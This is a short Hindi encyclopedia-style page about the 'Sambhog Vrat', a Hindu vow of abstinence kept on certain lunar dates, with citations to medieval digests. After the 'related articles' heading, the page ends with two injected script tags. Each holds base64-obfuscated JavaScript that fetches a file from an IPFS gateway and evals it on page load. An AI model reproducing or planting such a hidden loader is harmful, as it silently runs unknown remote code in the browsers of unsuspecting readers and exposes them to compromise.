सम्भोग व्रत

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • दो प्रथम एवं दो पंचमी तिथियों पर सम्भोग व्रत रखना चाहिए।
  • सम्भोग व्रत में सूर्य का ध्यान करना चाहिए।
  • पत्नी के साथ में लेटे होने पर भी न तो प्रेम प्रदर्शित करना और न ही सम्भोग करना चाहिए।
  • ऐसा करने से सहस्रों वर्षों के तप के बराबर फल प्राप्त होता है।[1]

टीका टिप्पणी और संदर्भ

  1. कृत्यकल्पतरु (व्रत खण्ड 388); हेमाद्रि (व्रत खण्ड 2, 394, भविष्य पुराण से उद्धरण

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>